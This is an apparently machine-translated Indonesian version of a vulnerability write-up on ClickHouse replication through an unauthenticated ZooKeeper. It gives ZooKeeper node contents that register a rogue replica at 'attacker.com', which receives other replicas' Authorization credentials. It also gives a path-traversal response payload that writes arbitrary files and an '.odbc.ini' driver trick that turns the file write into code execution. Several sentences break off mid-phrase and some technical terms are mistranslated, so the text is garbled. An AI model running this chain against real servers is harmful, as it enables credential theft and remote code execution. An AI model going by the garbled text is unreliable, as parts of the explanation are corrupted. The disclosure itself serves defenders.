Artikel ini akan menceritakan kisah tentang kerentanan yang sangat spesifik dalam protokol replikasi ClickHouse, dan juga akan menunjukkan bagaimana permukaan serangan dapat diperluas.
ClickHouse adalah database untuk menyimpan data dalam jumlah besar, paling sering menggunakan lebih dari satu replika. Pengelompokan dan replikasi di ClickHouse dibangun di atas
Instalasi ZK default tidak memerlukan otentikasi, sehingga ribuan server ZK yang digunakan untuk mengkonfigurasi Kafka, Hadoop, ClickHouse tersedia untuk umum.
Untuk mengurangi permukaan serangan, Anda harus selalu mengonfigurasi otentikasi dan otorisasi saat menginstal ZooKeeper
Tentu saja ada beberapa deserialisasi Java berbasis 0 hari, tetapi bayangkan penyerang dapat membaca dan menulis ke ZooKeeper, yang digunakan untuk replikasi ClickHouse.
Saat dikonfigurasi dalam mode cluster, ClickHouse mendukung kueri terdistribusi /clickhouse/task_queue/ddl
.
Misalnya, Anda membuat sebuah simpul /clickhouse/task_queue/ddl/query-0001
dengan konten:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
dan setelah itu, tabel pengujian akan dihapus pada server cluster host1 dan host2. DDL juga mendukung menjalankan kueri CREATE/ALTER/DROP.
Kedengarannya menakutkan? Tapi di mana penyerang bisa mendapatkan alamat server?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
node akan dibuat kolom ΠΈ metadata.
Konten /clickhouse/tables/01/foobar/replika/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Apakah mungkin untuk menggabungkan data dari cluster ini? Ya, jika port replikasi (TCP/9009
) di server chXX-address
firewall tidak akan ditutup dan otentikasi untuk replikasi tidak akan dikonfigurasi. Bagaimana cara melewati otentikasi?
Penyerang dapat membuat replika baru di ZK hanya dengan menyalin konten darinya /clickhouse/tables/01-01/foobar/replicas/chXX
dan mengubah maknanya host
.
Konten /clickhouse/tables/01β01/foobar/replika/penyerang/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Kemudian Anda perlu memberi tahu replika lain bahwa ada blok data baru di server penyerang yang perlu mereka ambil - sebuah node dibuat di ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX penghitung tumbuh secara monoton, yang seharusnya lebih besar dari yang terakhir di log peristiwa):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
dimana sumber_replika β nama replika penyerang yang dibuat pada langkah sebelumnya, blok_id β pengidentifikasi blok data, mendapatkan - perintah "dapatkan blok" (dan
Selanjutnya, setiap replika membaca peristiwa baru di log dan pergi ke server yang dikendalikan oleh penyerang untuk menerima blok data (protokol replikasi adalah biner, berjalan di atas HTTP). pelayan attacker.com
akan menerima permintaan:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
di mana XXX adalah data autentikasi untuk replikasi. Dalam beberapa kasus, ini mungkin akun dengan akses ke database melalui protokol utama ClickHouse dan protokol HTTP. Seperti yang Anda lihat, permukaan serangan menjadi sangat besar karena ZooKeeper, yang digunakan untuk replikasi, dibiarkan tanpa konfigurasi otentikasi.
Mari kita lihat fungsi mendapatkan blok data dari replika, ditulis dengan penuh keyakinan bahwa semua replika berada di bawah kendali yang tepat dan ada kepercayaan di antara mereka.
kode pemrosesan replikasi
Fungsi tersebut membaca daftar file, lalu nama, ukuran, isinya, dan kemudian menulisnya ke sistem file. Perlu dijelaskan secara terpisah bagaimana data disimpan dalam sistem file.
Ada beberapa subdirektori di dalamnya /var/lib/clickhouse
(direktori penyimpanan default dari file konfigurasi):
bendera - direktori untuk merekam
tmp β direktori untuk menyimpan file-file sementara;
file_pengguna β operasi dengan file dalam permintaan terbatas pada direktori ini (INTO OUTFILE dan lainnya);
metadata β file sql dengan deskripsi tabel;
preprocessed_configs - memproses file konfigurasi turunan dari /etc/clickhouse-server
;
data - direktori sebenarnya dengan data itu sendiri, dalam hal ini untuk setiap database, subdirektori terpisah dibuat di sini (misalnya /var/lib/clickhouse/data/default
).
Untuk setiap tabel, subdirektori dibuat di direktori database. Setiap kolom adalah file terpisah tergantung pada
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika mengharapkan untuk menerima file dengan nama yang sama saat memproses blok data dan tidak memvalidasinya dengan cara apa pun.
Pembaca yang penuh perhatian mungkin pernah mendengar tentang penggabungan nama_file yang tidak aman dalam suatu fungsi WriteBufferFromFile
. Ya, ini memungkinkan penyerang untuk menulis konten sewenang-wenang ke file apa pun di FS dengan hak pengguna clickhouse
. Untuk melakukan hal ini, replika yang dikendalikan oleh penyerang harus mengembalikan respons berikut terhadap permintaan (jeda baris telah ditambahkan untuk memudahkan pemahaman):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
dan setelah penggabungan ../../../../../../../../../tmp/pwned
file akan ditulis /tmp/pwned dengan konten halo dari penjaga kebun binatang.
Ada beberapa opsi untuk mengubah kemampuan penulisan file menjadi eksekusi kode jarak jauh (RCE).
Kamus eksternal di RCE
Di versi yang lebih lama, direktori dengan pengaturan ClickHouse disimpan dengan hak pengguna rumah klik bawaan. File pengaturan adalah file XML yang dibaca layanan saat startup dan kemudian disimpan dalam cache /var/lib/clickhouse/preprocessed_configs
. Ketika terjadi perubahan, perubahan tersebut dibaca ulang. Jika Anda memiliki akses ke /etc/clickhouse-server
seorang penyerang dapat membuatnya sendiri root
.
ODBC ke RCE
Saat menginstal sebuah paket, pengguna dibuat clickhouse
, tetapi direktori home-nya belum dibuat /nonexistent
. Namun, saat menggunakan kamus eksternal, atau karena alasan lain, administrator membuat direktori /nonexistent
dan berikan kepada pengguna clickhouse
akses untuk menulis ke dalamnya (SSZB! kira-kira Penerjemah).
ClickHouse mendukung odbc-bridge
, jadi tidak mungkin lagi menentukan jalur driver dari permintaan. Tapi bisakah penyerang menulis ke direktori home menggunakan kerentanan yang dijelaskan di atas?
Mari kita membuat file ~/.odbc.ini
dengan konten seperti ini:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
lalu saat startup SELECT * FROM odbc('DSN=lalala', 'test', 'test');
perpustakaan akan dimuat test.so
dan menerima RCE (terima kasih
Kerentanan ini dan lainnya telah diperbaiki di ClickHouse versi 19.14.3. Jaga ClickHouse dan ZooKeepers Anda!
Sumber: www.habr.com